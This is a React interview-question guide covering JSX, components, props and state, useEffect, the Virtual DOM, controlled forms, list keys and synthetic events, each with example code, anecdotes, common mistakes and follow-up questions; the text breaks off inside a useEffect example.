⚛️ React Interview Questions
40 questions with theory, real code, real-world scenarios, common mistakes and follow-up questions — from basic hooks to performance optimization.
React is an open-source JavaScript library created by Facebook (now Meta) for building user interfaces — specifically component-based UIs that update efficiently when data changes.
React is not a framework (unlike Angular or Vue). It focuses solely on the view layer — rendering UI and keeping it in sync with state. You add routing (React Router), state management (Redux/Zustand), and HTTP (Axios/fetch) separately.
React uses a Virtual DOM — a lightweight JavaScript copy of the real DOM. When state changes, React creates a new Virtual DOM tree, diffs it against the previous one (reconciliation), and applies only the minimal DOM changes needed. This makes updates fast even for complex UIs.
React also introduced JSX, a syntax that lets you write HTML-like code inside JavaScript, making component templates readable and co-located with logic.
// A simple React component that shows how React works
import { useState } from "react";
// Component: a reusable piece of UI
function TaskCounter() {
// State: data that changes over time
const [tasks, setTasks] = useState([
{ id: 1, title: "Review PR #42", done: false },
{ id: 2, title: "Fix login bug", done: true },
{ id: 3, title: "Write unit tests", done: false },
]);
const completedCount = tasks.filter(t => t.done).length;
const toggleTask = (id) => {
setTasks(prev =>
prev.map(t => t.id === id ? { ...t, done: !t.done } : t)
);
};
// JSX: HTML-like syntax inside JavaScript
return (
<div className="task-counter">
<h2>Sprint Tasks ({completedCount}/{tasks.length} done)</h2>
<ul>
{tasks.map(task => (
<li key={task.id}
onClick={() => toggleTask(task.id)}
style={{ textDecoration: task.done ? "line-through" : "none" }}>
{task.done ? "✅" : "⬜"} {task.title}
</li>
))}
</ul>
</div>
);
}
export default TaskCounter;
// Why React?
// 1. Component-based — reusable, testable pieces
// 2. Virtual DOM — efficient updates (only changed parts re-render)
// 3. Unidirectional data flow — predictable state changes
// 4. Huge ecosystem — React Router, Redux, Next.js, React Native
A SaaS company migrated their jQuery dashboard (12,000 lines) to React. The jQuery version re-rendered the entire page on every data change — taking 800ms per update with 500+ DOM elements. React's Virtual DOM diffing reduced updates to 15ms by patching only the 3-4 elements that actually changed. Page load dropped from 4.2s to 1.8s after code-splitting with React.lazy.
Candidates say "React is a framework" — it's a library. The distinction matters because React only handles the view layer:
// "React is a full framework like Angular"
// Wrong! React does NOT include:
// - Routing (need React Router)
// - HTTP client (need Axios/fetch)
// - Form validation (need React Hook Form/Formik)
// - State management (need Redux/Zustand for complex state)// React = View layer only
// React + React Router + Redux + Axios = full stack
// Angular = full framework (router, HTTP, forms built-in)
//
// This is why React is flexible — you choose your own
// tools for each concern instead of being locked in.What is the Virtual DOM and how does React's reconciliation algorithm work?
JSX (JavaScript XML) is a syntax extension that lets you write HTML-like code inside JavaScript. It's not valid JavaScript — Babel (or SWC) transpiles JSX into React.createElement() calls at build time.
JSX looks like HTML but has key differences:
class→className(becauseclassis a reserved word in JS)for→htmlFor(same reason)- All tags must be closed:
<img />,<br /> - Inline styles use objects:
style={{ color: "red" }}notstyle="color: red" - Event handlers are camelCase:
onClick,onChange,onSubmit - You embed JavaScript expressions with
{ }curly braces
JSX is optional — you can use React.createElement() directly — but JSX is far more readable and is the standard in every React project.
// ── JSX vs HTML differences ──
// 1. className instead of class
const Header = () => (
<header className="site-header">
<h1 className="title">Dashboard</h1>
</header>
);
// 2. Inline styles use objects (camelCase properties)
const Badge = ({ status }) => (
<span style={{
backgroundColor: status === "active" ? "#22c55e" : "#ef4444",
color: "#fff",
padding: "4px 12px",
borderRadius: "12px",
fontSize: "0.85rem",
fontWeight: 600,
}}>
{status}
</span>
);
// 3. JavaScript expressions inside { }
const UserCard = ({ user }) => (
<div className="user-card">
<img src={user.avatar} alt={`${user.name}'s avatar`} />
<h3>{user.name}</h3>
<p>Joined: {new Date(user.joinDate).toLocaleDateString()}</p>
<p>{user.posts.length} posts</p>
{user.isVerified && <Badge status="verified" />}
</div>
);
// 4. All tags must be self-closed
const Form = () => (
<form>
<input type="text" placeholder="Search..." />
<br />
<img src="/logo.png" alt="Logo" />
<hr />
</form>
);
// 5. What JSX compiles to (Babel output):
// <h1 className="title">Hello</h1>
// becomes:
// React.createElement("h1", { className: "title" }, "Hello");
// 6. htmlFor instead of for
const EmailField = () => (
<div>
<label htmlFor="email">Email</label>
<input id="email" type="email" />
</div>
);
A team onboarding new hires found that 90% of first-day JSX bugs came from three issues: using class instead of className, forgetting to self-close tags like <img>, and passing strings instead of objects for inline styles. They added an ESLint rule (react/no-unknown-property) that caught these at save time, reducing onboarding JSX bugs to zero.
Candidates use HTML attributes in JSX — this compiles but generates warnings and bugs:
// These look right but are wrong in JSX:
<div class="container"> {/* Should be className */}
<label for="email">Email</label> {/* Should be htmlFor */}
<div style="color: red"> {/* Should be an object */}
<button onclick="handleClick()"> {/* Should be onClick={fn} */}<div className="container">
<label htmlFor="email">Email</label>
<div style={{ color: "red" }}>
<button onClick={handleClick}> {/* Pass reference, not string */}Can you use React without JSX? What does JSX compile to under the hood?
Components are the building blocks of a React application. Each component is a self-contained piece of UI that accepts inputs (props) and returns JSX describing what should appear on screen.
There are two types:
- Functional components — plain JavaScript functions that accept props and return JSX. Since React 16.8 (Hooks), they can use state, effects, and context — making them the modern standard.
- Class components — ES6 classes that extend
React.Component. They usethis.state,this.setState(), and lifecycle methods likecomponentDidMount. They are legacy but still found in older codebases.
Modern React (2024+) uses functional components exclusively. Class components are not deprecated but no new features (Hooks, Server Components, Suspense) are designed for them. The React team recommends functional components for all new code.
// ── Functional Component (Modern — recommended) ──
import { useState, useEffect } from "react";
function ProductCard({ product, onAddToCart }) {
const [quantity, setQuantity] = useState(1);
const [inStock, setInStock] = useState(true);
useEffect(() => {
// Check stock when product changes
fetch(`/api/stock/${product.id}`)
.then(res => res.json())
.then(data => setInStock(data.available > 0));
}, [product.id]);
return (
<div className="product-card">
<img src={product.image} alt={product.name} />
<h3>{product.name}</h3>
<p className="price">₹{product.price.toLocaleString()}</p>
{inStock ? (
<>
<select value={quantity} onChange={e => setQuantity(Number(e.target.value))}>
{[1, 2, 3, 4, 5].map(n => (
<option key={n} value={n}>{n}</option>
))}
</select>
<button onClick={() => onAddToCart(product, quantity)}>
Add to Cart
</button>
</>
) : (
<p className="out-of-stock">Out of Stock</p>
)}
</div>
);
}
// ── Class Component (Legacy — same functionality) ──
import React from "react";
class ProductCardClass extends React.Component {
constructor(props) {
super(props);
this.state = { quantity: 1, inStock: true };
}
componentDidMount() {
this.checkStock();
}
componentDidUpdate(prevProps) {
if (prevProps.product.id !== this.props.product.id) {
this.checkStock();
}
}
checkStock() {
fetch(`/api/stock/${this.props.product.id}`)
.then(res => res.json())
.then(data => this.setState({ inStock: data.available > 0 }));
}
render() {
const { product, onAddToCart } = this.props;
const { quantity, inStock } = this.state;
return (
<div className="product-card">
<h3>{product.name}</h3>
<p>₹{product.price.toLocaleString()}</p>
{inStock && (
<button onClick={() => onAddToCart(product, quantity)}>
Add to Cart
</button>
)}
</div>
);
}
}
// Functional: 30 lines | Class: 40 lines — same result
// Functional components are simpler and support hooks
A fintech company migrated 120 class components to functional components over 3 sprints. The codebase shrank by 22% (removed constructor, render, bind patterns). More importantly, they could now share stateful logic via custom hooks — eliminating 15 HOCs and 8 render props patterns that made the code hard to follow.
Candidates say "class components are deprecated" — they are NOT deprecated, just not recommended for new code:
// "Class components are deprecated and will be removed"
// Wrong! React still supports them fully.
// Error boundaries STILL require class components
// (no hook equivalent for componentDidCatch yet)// Class components: supported, not deprecated, but legacy
// Functional components: recommended for all new code
//
// Only case where class is still needed:
class ErrorBoundary extends React.Component {
state = { hasError: false };
static getDerivedStateFromError(error) {
return { hasError: true };
}
componentDidCatch(error, info) {
logErrorToService(error, info);
}
render() {
return this.state.hasError
? <h2>Something went wrong.</h2>
: this.props.children;
}
}What are hooks and why were they introduced? Can you use hooks in class components?
Props (short for "properties") are the mechanism for passing data from a parent component to a child component. They flow in one direction — top-down (parent → child) — which React calls unidirectional data flow.
Props are read-only — a child component must never modify the props it receives. If a child needs to communicate back to the parent, the parent passes a callback function as a prop that the child can call.
Props can be any JavaScript value: strings, numbers, booleans, objects, arrays, functions, and even other React components (via children prop).
The children prop is special — it represents whatever content is placed between the opening and closing tags of a component: <Card>This is children</Card>.
// ── Passing props: parent → child ──
function App() {
const [cartItems, setCartItems] = useState([]);
// Callback function passed as prop — child-to-parent communication
const handleAddToCart = (product, qty) => {
setCartItems(prev => [...prev, { ...product, qty }]);
};
return (
<div className="app">
{/* Passing data + callback as props */}
<ProductList
products={products}
onAddToCart={handleAddToCart}
/>
<CartSummary items={cartItems} />
</div>
);
}
// ── Receiving props (destructured) ──
function ProductList({ products, onAddToCart }) {
return (
<div className="product-grid">
{products.map(product => (
<ProductCard
key={product.id}
name={product.name}
price={product.price}
image={product.image}
onAdd={() => onAddToCart(product, 1)}
/>
))}
</div>
);
}
// ── Default props with destructuring defaults ──
function ProductCard({ name, price, image, onAdd, discount = 0 }) {
const finalPrice = price - (price * discount / 100);
return (
<div className="product-card">
<img src={image} alt={name} />
<h3>{name}</h3>
<p>₹{finalPrice.toLocaleString()}</p>
{discount > 0 && <span className="badge">{discount}% OFF</span>}
<button onClick={onAdd}>Add to Cart</button>
</div>
);
}
// ── children prop: composition pattern ──
function Card({ title, children, footer }) {
return (
<div className="card">
<div className="card-header"><h3>{title}</h3></div>
<div className="card-body">{children}</div>
{footer && <div className="card-footer">{footer}</div>}
</div>
);
}
// Usage:
<Card title="User Profile" footer={<button>Save</button>}>
<p>Name: Alice Johnson</p>
<p>Role: Senior Developer</p>
<p>Team: Platform Engineering</p>
</Card>
An e-commerce team had a product page where 6 levels of components needed the same user data. Instead of passing the user prop through every intermediate component (prop drilling through Header → Nav → UserMenu → Avatar → UserName), they refactored to use Context API for user data — reducing 24 prop declarations to 3 useContext() calls.
Candidates try to modify props directly inside a child component:
function UserCard({ user }) {
// NEVER do this — props are read-only!
user.name = user.name.toUpperCase();
return <h3>{user.name}</h3>;
}
// This mutates the parent's object reference
// causing unpredictable bugs across the appfunction UserCard({ user }) {
// Create a derived value — don't touch props
const displayName = user.name.toUpperCase();
return <h3>{displayName}</h3>;
}
// Props stay immutable, parent data is safeWhat is prop drilling and how do you solve it?
State is data that a component owns and can change over time. When state changes, React re-renders the component and its children to reflect the new data.
The key differences between state and props:
- Ownership: Props are passed by the parent; state is owned by the component itself
- Mutability: Props are read-only; state can be updated with setter functions
- Source: Props come from outside; state is initialized inside the component
- Re-rendering: Both trigger re-renders when they change
In functional components, state is managed with the useState hook: const [value, setValue] = useState(initialValue). The setter function (setValue) triggers a re-render. Importantly, state updates are asynchronous — React batches multiple setState calls into a single re-render for performance.
When the next state depends on the previous state, always use the functional updater form: setValue(prev => prev + 1) to avoid stale state bugs.
// ── useState: basic state management ──
import { useState } from "react";
function ShoppingCart() {
// Each useState manages one piece of state
const [items, setItems] = useState([]);
const [coupon, setCoupon] = useState("");
const [isCheckingOut, setIsCheckingOut] = useState(false);
// ── Adding items (functional updater: uses prev state) ──
const addItem = (product) => {
setItems(prev => {
const existing = prev.find(i => i.id === product.id);
if (existing) {
return prev.map(i =>
i.id === product.id ? { ...i, qty: i.qty + 1 } : i
);
}
return [...prev, { ...product, qty: 1 }];
});
};
// ── Removing items ──
const removeItem = (id) => {
setItems(prev => prev.filter(i => i.id !== id));
};
// ── Derived values (computed from state, not stored in state) ──
const totalPrice = items.reduce((sum, i) => sum + i.price * i.qty, 0);
const itemCount = items.reduce((sum, i) => sum + i.qty, 0);
return (
<div className="cart">
<h2>Cart ({itemCount} items)</h2>
{items.map(item => (
<div key={item.id} className="cart-item">
<span>{item.name} × {item.qty}</span>
<span>₹{(item.price * item.qty).toLocaleString()}</span>
<button onClick={() => removeItem(item.id)}>Remove</button>
</div>
))}
<p className="total">Total: ₹{totalPrice.toLocaleString()}</p>
<input
value={coupon}
onChange={e => setCoupon(e.target.value)}
placeholder="Coupon code"
/>
<button
onClick={() => setIsCheckingOut(true)}
disabled={items.length === 0}
>
Checkout
</button>
</div>
);
}
// ── State vs Props summary ──
// Props: <Cart items={items} /> ← passed by parent, read-only
// State: const [items, setItems] = useState([]) ← owned, mutable
// ── WRONG: stale state with direct value ──
// setCount(count + 1); setCount(count + 1); → increments only ONCE
// ── RIGHT: functional updater ──
// setCount(prev => prev + 1); setCount(prev => prev + 1); → increments TWICE
A dashboard app stored derived data (filtered lists, totals, averages) in state alongside the source data. Every filter change required updating 4 state variables in sync — causing race conditions and stale UI. Refactoring to keep only source data in state and computing derived values during render eliminated 12 bugs and simplified the component from 180 to 95 lines.
Candidates don't use the functional updater when state depends on previous value:
function Counter() {
const [count, setCount] = useState(0);
const incrementThrice = () => {
// All three read the SAME stale `count` value
setCount(count + 1); // count is 0 → sets to 1
setCount(count + 1); // count is still 0 → sets to 1
setCount(count + 1); // count is still 0 → sets to 1
// Result: count = 1 (not 3!)
};
}function Counter() {
const [count, setCount] = useState(0);
const incrementThrice = () => {
setCount(prev => prev + 1); // 0 → 1
setCount(prev => prev + 1); // 1 → 2
setCount(prev => prev + 1); // 2 → 3
// Result: count = 3 ✅
};
}What is the difference between useState and useReducer? When would you use each?
Every React component goes through three phases: Mounting (inserted into DOM), Updating (re-rendered due to state/prop changes), and Unmounting (removed from DOM).
In class components, these phases are handled by lifecycle methods: componentDidMount, componentDidUpdate, componentWillUnmount, shouldComponentUpdate, and getDerivedStateFromProps.
In functional components, the useEffect hook replaces most lifecycle methods:
useEffect(() => { ... }, [])— runs once after mount (=componentDidMount)useEffect(() => { ... }, [dep])— runs whendepchanges (=componentDidUpdatefor specific values)useEffect(() => { return () => cleanup(); }, [])— cleanup on unmount (=componentWillUnmount)useEffect(() => { ... })— runs after every render (rarely needed)
The key insight: useEffect unifies mount + update + unmount into a single API, grouped by concern rather than by lifecycle phase. This means related logic (e.g., subscribe + unsubscribe) stays together instead of being split across three methods.
// ── Class lifecycle vs Hook equivalents ──
// CLASS COMPONENT (legacy)
class UserProfile extends React.Component {
state = { user: null, online: false };
componentDidMount() {
// Fetch user data on mount
fetch(`/api/users/${this.props.userId}`)
.then(res => res.json())
.then(user => this.setState({ user }));
// Subscribe to presence
this.unsubscribe = presenceService.subscribe(
this.props.userId,
status => this.setState({ online: status })
);
}
componentDidUpdate(prevProps) {
// Re-fetch if userId changes
if (prevProps.userId !== this.props.userId) {
fetch(`/api/users/${this.props.userId}`)
.then(res => res.json())
.then(user => this.setState({ user }));
}
}
componentWillUnmount() {
// Cleanup subscription
this.unsubscribe();
}
render() { /* ... */ }
}
// FUNCTIONAL COMPONENT (modern — same behavior, better organized)
import { useState, useEffect } from "react";
function UserProfile({ userId }) {
const [user, setUser] = useState(null);
const [online, setOnline] = useState(false);
// Effect 1: Fetch user data (mount + update when userId changes)
useEffect(() => {
let cancelled = false;
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(data => {
if (!cancelled) setUser(data);
});
return () => { cancelled = true; }; // cleanup on re-run
}, [userId]); // ← dependency array
// Effect 2: Presence subscription (mount + unmount cleanup)
useEffect(() => {
const unsubscribe = presenceService.subscribe(userId, setOnline);
return () => unsubscribe(); // cleanup = componentWillUnmount
}, [userId]);
if (!user) return <p>Loading...</p>;
return (
<div>
<h2>{user.name} {online ? "🟢" : "⚫"}</h2>
<p>{user.email}</p>
</div>
);
}
// Notice: related logic (fetch + cancel, subscribe + unsubscribe)
// stays TOGETHER in hooks instead of being split across 3 methods
A chat application had a memory leak — the class component subscribed to WebSocket messages in componentDidMount but the developer forgot to unsubscribe in componentWillUnmount because the cleanup code was 80 lines away from the setup code. After refactoring to useEffect, the subscribe and unsubscribe lived in the same 5-line block, making it impossible to forget cleanup. Memory usage dropped from 450MB to 120MB after 2 hours of use.
Candidates confuse the dependency array behavior — especially the difference between no array, empty array, and array with values:
useEffect(() => {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(setUser);
}); // ← No dependency array!
// Runs after EVERY render → fetch triggers setState →
// setState triggers re-render → fetch again → INFINITE LOOPuseEffect(() => {
fetch(`/api/users/${userId}`)
.then(res => res.json())
.then(setUser);
}, [userId]); // ← Only runs when userId changes
// Mount: runs once. userId changes: runs again. Other re-renders: skipped.What happens if you forget to include a dependency in the useEffect dependency array?
The Virtual DOM (VDOM) is a lightweight JavaScript representation of the real DOM. It's a plain object tree that mirrors the structure of the actual DOM elements on the page.
When state or props change, React follows this process:
- Render phase: React calls your component functions and creates a new Virtual DOM tree
- Diffing (Reconciliation): React compares the new VDOM with the previous VDOM using a diffing algorithm
- Commit phase: React applies only the minimal set of changes (patches) to the real DOM
This is fast because: (a) JavaScript object comparison is much cheaper than DOM manipulation, (b) React batches multiple updates into a single DOM write, and (c) the diffing algorithm runs in O(n) time using two heuristics: elements of different types produce different trees, and key props help identify which items changed in lists.
The VDOM is NOT a shadow DOM (that's a browser API for web components). It's React's internal optimization layer.
// ── How the Virtual DOM works (conceptual) ──
// Step 1: Your component returns JSX
function Counter({ count }) {
return (
<div className="counter">
<h2>Count: {count}</h2>
<p className="label">Current value</p>
</div>
);
}
// Step 2: React converts JSX to a Virtual DOM object
// When count = 5, the VDOM looks like:
const vdom = {
type: "div",
props: { className: "counter" },
children: [
{
type: "h2",
props: {},
children: ["Count: 5"]
},
{
type: "p",
props: { className: "label" },
children: ["Current value"]
}
]
};
// Step 3: When count changes to 6, React creates a NEW VDOM:
const newVdom = {
type: "div",
props: { className: "counter" },
children: [
{
type: "h2",
props: {},
children: ["Count: 6"] // ← Only this changed
},
{
type: "p",
props: { className: "label" },
children: ["Current value"] // ← Same, skip
}
]
};
// Step 4: React diffs old vs new VDOM
// Result: Only ONE text node needs updating ("5" → "6")
// React patches ONLY that text node in the real DOM
// The <div>, <h2> element, and <p> are NOT touched
// ── Real benefit: batching multiple updates ──
function Dashboard() {
const [user, setUser] = useState(null);
const [notifications, setNotifications] = useState([]);
const [theme, setTheme] = useState("light");
const handleLogin = async (credentials) => {
const userData = await login(credentials);
// React 18 batches ALL these into ONE re-render + ONE DOM update
setUser(userData);
setNotifications(userData.notifications);
setTheme(userData.preferredTheme);
// Without VDOM: 3 separate DOM updates
// With VDOM: 1 diffed DOM update
};
}
A stock trading dashboard displayed 500+ real-time price tickers updating every 100ms. Direct DOM manipulation (jQuery) caused the browser to freeze — each update touched 500 DOM nodes. Switching to React, the Virtual DOM diffing detected that only 15-30 prices actually changed per tick, updating only those nodes. Frame rate went from 8 FPS to 55 FPS, and CPU usage dropped from 92% to 34%.
Candidates confuse the Virtual DOM with the Shadow DOM or think the VDOM is always faster than direct DOM manipulation:
// "The Virtual DOM is always faster than the real DOM"
// Wrong! For a single, targeted update:
document.getElementById("price").textContent = "$42";
// This is FASTER than React creating a VDOM, diffing, then patching.
// VDOM wins when you have MANY updates across MANY elements —
// it batches and minimizes total DOM operations.// VDOM advantage: many state changes → single optimized DOM update
// Without VDOM: 10 setState calls = 10 DOM writes
// With VDOM: 10 setState calls = 1 batched DOM write (only changed nodes)
//
// VDOM is NOT the Shadow DOM (browser API for Web Components)
// VDOM is NOT always faster — it's a trade-off:
// Cost: extra memory + diffing CPU time
// Benefit: batched, minimal DOM patches for complex UIsWhat is React Fiber and how did it improve the reconciliation algorithm?
In React, form elements like <input>, <textarea>, and <select> can be managed in two ways:
Controlled components: React state is the "single source of truth." The input's value is bound to state via the value prop, and changes go through an onChange handler that calls setState. React controls what the input displays.
Uncontrolled components: The DOM itself holds the form data. You access values using a ref (useRef) when needed (e.g., on submit). React does NOT control the input — the browser does.
When to use each:
- Controlled: When you need real-time validation, conditional disabling, formatting input as the user types, or syncing values between fields. This is the recommended default.
- Uncontrolled: For simple forms where you only need the value on submit, file inputs (
<input type="file">is always uncontrolled), or integrating with non-React code.
// ── Controlled Component — React owns the value ──
import { useState } from "react";
function RegistrationForm() {
const [form, setForm] = useState({
email: "",
password: "",
confirmPassword: "",
});
const [errors, setErrors] = useState({});
const handleChange = (e) => {
const { name, value } = e.target;
setForm(prev => ({ ...prev, [name]: value }));
// Real-time validation (only possible with controlled inputs)
if (name === "email" && value && !/\S+@\S+\.\S+/.test(value)) {
setErrors(prev => ({ ...prev, email: "Invalid email format" }));
} else if (name === "confirmPassword" && value !== form.password) {
setErrors(prev => ({ ...prev, confirmPassword: "Passwords don't match" }));
} else {
setErrors(prev => ({ ...prev, [name]: "" }));
}
};
const handleSubmit = (e) => {
e.preventDefault();
if (Object.values(errors).every(err => !err)) {
console.log("Submitting:", form);
}
};
return (
<form onSubmit={handleSubmit}>
<input
name="email"
value={form.email} // ← controlled by React state
onChange={handleChange} // ← every keystroke updates state
placeholder="Email"
/>
{errors.email && <span className="error">{errors.email}</span>}
<input
name="password"
type="password"
value={form.password}
onChange={handleChange}
/>
<input
name="confirmPassword"
type="password"
value={form.confirmPassword}
onChange={handleChange}
/>
{errors.confirmPassword && <span className="error">{errors.confirmPassword}</span>}
<button type="submit">Register</button>
</form>
);
}
// ── Uncontrolled Component — DOM owns the value ──
import { useRef } from "react";
function SearchForm() {
const inputRef = useRef(null);
const handleSubmit = (e) => {
e.preventDefault();
const query = inputRef.current.value; // ← read from DOM directly
console.log("Searching for:", query);
};
return (
<form onSubmit={handleSubmit}>
<input
ref={inputRef} // ← ref to DOM node
defaultValue="" // ← defaultValue, NOT value
placeholder="Search..."
/>
<button type="submit">Search</button>
</form>
);
}
// ── File input — always uncontrolled ──
function FileUpload() {
const fileRef = useRef(null);
const handleUpload = () => {
const file = fileRef.current.files[0];
console.log("File:", file.name, file.size);
};
return <input type="file" ref={fileRef} onChange={handleUpload} />;
}
A payment form used uncontrolled inputs for credit card fields. When the product team asked for real-time card number formatting (adding spaces every 4 digits: "4242 4242 4242 4242"), live Luhn validation, and auto-advancing to the next field — none of it was possible without reading the DOM on every keystroke. Switching to controlled inputs took 2 days but enabled all three features, plus the form could now be pre-filled from saved cards.
Candidates set value without onChange, creating a read-only input that the user can't type into:
function BrokenInput() {
const [name, setName] = useState("Alice");
// User types but NOTHING happens — input is locked!
return <input value={name} />;
// React warning: "You provided a `value` prop without
// an `onChange` handler. This will render a read-only field."
}function WorkingInput() {
const [name, setName] = useState("Alice");
return (
<input
value={name}
onChange={e => setName(e.target.value)}
/>
);
// Or use defaultValue for uncontrolled:
// <input defaultValue="Alice" />
}How do form libraries like React Hook Form handle forms differently from plain controlled components?
Keys are special string attributes you provide when rendering lists of elements. They help React's reconciliation algorithm identify which items have changed, been added, or been removed.
When React diffs a list, it compares elements by position by default. Without keys, if you insert an item at the top, React thinks every item changed (because positions shifted) and re-renders the entire list. With stable keys, React matches old and new items by key, updates only what changed, and reuses existing DOM nodes.
Rules for keys:
- Keys must be unique among siblings (not globally unique)
- Keys must be stable — the same item should always get the same key across re-renders
- Use a unique ID from your data (database ID, slug, etc.) — NOT the array index
- Never use
Math.random()as a key — it generates a new key every render, destroying all DOM nodes
Using array index as key is only safe when: the list is static (never reordered), items are never inserted/deleted from the middle, and items have no local state or uncontrolled inputs.
// ── Correct: using unique, stable IDs as keys ──
function TodoList({ todos, onToggle, onDelete }) {
return (
<ul>
{todos.map(todo => (
<li key={todo.id}> {/* ← stable unique ID from database */}
<input
type="checkbox"
checked={todo.done}
onChange={() => onToggle(todo.id)}
/>
<span>{todo.text}</span>
<button onClick={() => onDelete(todo.id)}>Delete</button>
</li>
))}
</ul>
);
}
// ── Wrong: using index as key with dynamic lists ──
function BrokenTodoList({ todos }) {
return (
<ul>
{todos.map((todo, index) => (
<li key={index}> {/* ← BAD for dynamic lists! */}
<input type="checkbox" />
<span>{todo.text}</span>
</li>
))}
</ul>
);
}
// Problem: If you delete item at index 1, item at index 2 becomes index 1.
// React thinks index 1 still exists → reuses its DOM node (with old checkbox state!)
// Result: wrong checkboxes appear checked after deletion.
// ── What happens during reconciliation ──
// Before delete: [{id:"a",text:"Buy milk"}, {id:"b",text:"Walk dog"}, {id:"c",text:"Code"}]
// Delete "Walk dog"
// After: [{id:"a",text:"Buy milk"}, {id:"c",text:"Code"}]
// WITH key={todo.id}:
// React sees: key="a" still exists → keep DOM node
// key="b" is gone → remove DOM node
// key="c" still exists → keep DOM node
// Result: 1 DOM removal, 0 re-renders ✅
// WITH key={index}:
// React sees: index 0 text changed? No → keep (correct)
// index 1 text "Walk dog"→"Code" → UPDATE DOM (wrong!)
// index 2 is gone → remove (was "Code", already moved!)
// Result: unnecessary DOM updates + potential state bugs ❌
// ── Generating keys when data has no ID ──
// Option 1: Generate ID when data is created (not during render)
const addTodo = (text) => {
setTodos(prev => [...prev, {
id: crypto.randomUUID(), // ← generated ONCE, stable
text,
done: false,
}]);
};
A messaging app used array index as key for chat messages. When a new message arrived at the top (sorted by newest first), every message's key shifted by +1. React re-rendered all 200 visible messages instead of inserting 1 new one. Switching to key={message.id} reduced re-renders from 200 to 1 per new message, fixing a noticeable scroll jank on mobile devices.
Candidates use Math.random() or array index as keys, not understanding why React needs stable identifiers:
{items.map(item => (
<Card key={Math.random()}> {/* New key every render! */}
<input defaultValue={item.name} />
</Card>
))}
// Every render: React sees all-new keys → unmounts ALL old Cards →
// mounts ALL new Cards → user loses input focus and typed text{items.map(item => (
<Card key={item.id}> {/* Same key across renders */}
<input defaultValue={item.name} />
</Card>
))}
// React matches old key="abc" with new key="abc" → reuses DOM node
// Input focus and typed text are preservedWhat happens internally when React encounters a key change — does it update or remount the component?
React uses a synthetic event system that wraps native browser events in a cross-browser-compatible SyntheticEvent object. This provides a consistent API across all browsers.
Key differences from vanilla JavaScript event handling:
- Naming: camelCase (
onClick) instead of lowercase (onclick) - Handler: Pass a function reference (
onClick={handleClick}), not a string (onclick="handleClick()") - Preventing default: Must call
e.preventDefault()explicitly — returningfalsedoes NOT work - Event delegation: React attaches a single event listener to the root element (not to individual DOM nodes). Events bubble up to the root where React dispatches them to the correct handler. This is more memory-efficient.
- Event pooling: In React 16 and earlier,
SyntheticEventobjects were reused (pooled) for performance — accessing event properties asynchronously requirede.persist(). React 17+ removed pooling, so this is no longer needed.
// ── React event handling basics ──
function InteractiveForm() {
const [formData, setFormData] = useState({ name: "", email: "" });
// Event handler — receives SyntheticEvent
const handleChange = (e) => {
const { name, value } = e.target;
setFormData(prev => ({ ...prev, [name]: value }));
};
// Preventing default behavior
const handleSubmit = (e) => {
e.preventDefault(); // ← Must call explicitly. return false does NOT work.
console.log("Form submitted:", formData);
};
// Passing arguments to handlers
const handleItemClick = (itemId, e) => {
e.stopPropagation(); // Works like vanilla JS
console.log("Clicked item:", itemId);
};
return (
<form onSubmit={handleSubmit}>
{/* camelCase event names, function reference (not string) */}
<input
name="name"
value={formData.name}
onChange={handleChange}
onFocus={() => console.log("Name focused")}
onBlur={() => console.log("Name blurred")}
/>
<input
name="email"
type="email"
value={formData.email}
onChange={handleChange}
/>
<button type="submit">Submit</button>
{/* Passing arguments: wrap in arrow function */}
<ul>
{["item-1", "item-2", "item-3"].map(id => (
<li key={id} onClick={(e) => handleItemClick(id, e)}>
{id}
</li>
))}
</ul>
</form>
);
}
// ── Vanilla JS vs React comparison ──
// Vanilla JS:
// <button onclick="handleClick()">Click</button>
// document.getElementById("btn").addEventListener("click", handleClick);
// React:
// <button onClick={handleClick}>Click</button>
// React attaches ONE listener at root, delegates to correct handler
// ── Event delegation diagram ──
// Vanilla: 100 buttons = 100 event listeners in memory
// React: 100 buttons = 1 root listener + delegation lookup
// More memory-efficient for large lists
// ── Common events ──
// onClick, onChange, onSubmit, onFocus, onBlur,
// onKeyDown, onKeyUp, onMouseEnter, onMouseLeave,
// onScroll, onDrag, onDrop, onTouchStart, onTouchEnd
An analytics dashboard had 2,000 clickable cells in a data grid. The vanilla JS version attached 2,000 individual click listeners — consuming 8MB of memory and taking 340ms to set up on page load. After migrating to React, the synthetic event system used a single root listener with event delegation. Memory for event handling dropped to 0.2MB and setup time became negligible.
Candidates call the handler immediately instead of passing a reference, causing it to fire on every render:
function App() {
const handleClick = (id) => console.log("Clicked:", id);
return (
<button onClick={handleClick("item-1")}> {/* WRONG! */}
Click me
</button>
);
// handleClick("item-1") EXECUTES immediately during render
// onClick receives the RETURN VALUE (undefined), not the function
}function App() {
const handleClick = (id) => console.log("Clicked:", id);
return (
<button onClick={() => handleClick("item-1")}> {/* ✅ */}
Click me
</button>
);
// Arrow function creates a new reference that calls handleClick when clicked
// Alternative for no args: onClick={handleClick}
}What is event propagation (bubbling vs capturing) in React, and how do you stop it?
useEffect is React's hook for performing side effects — operations that interact with the world outside the component: API calls, DOM manipulation, subscriptions, timers, and logging.
The signature is useEffect(setupFn, dependencies?). The setup function runs after React commits changes to the DOM. The optional cleanup function (returned from setup) runs before the effect re-runs and when the component unmounts.
The dependency array controls when the effect runs:
useEffect(fn, [a, b])— runs whenaorbchanges (reference equality check)useEffect(fn, [])— runs once after mount onlyuseEffect(fn)— runs after every render (usually wrong)
React runs effects after paint (asynchronously), so they don't block the browser from updating the screen. For effects that need to run synchronously before paint (e.g., measuring DOM layout), use useLayoutEffect instead.
In Strict Mode (development), React intentionally runs effects twice (mount → unmount → mount) to help you find missing cleanup functions.
// ── Pattern 1: Data fetching with cleanup ──
import { useState, useEffect } from "react";
function UserProfile({ userId }) {
const [user, setUser] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
let cancelled = false; // ← prevents setting state on unmounted component
setLoading(true);
setError(null);
fetch(`/api/users/${userId}`)
.then(res => {
if (!res.ok) throw new Error(`HTTP ${res.status}`);
return res.json();
})
.then(data => {
if (!cancelled) {
setUser(data);
setLoading(false);
}
})
.catch(err => {
if (!cancelled) {
setError(err.message);
setLoading(false);
}
});
return () => { cancelled = true; }; // ← cleanup: ignore stale responses
}, [userId]); // ← re-fetches when userId changes
if (loading) return <p>Loading...</p>;
if (error) return <p>Error: {error}</p>;
return <h2>{user.name}</h2>;
}
// ── Pattern 2: Event listener with cleanup ──
function WindowSize() {
const [size, setSize] = useState({
width: window.innerWidth,
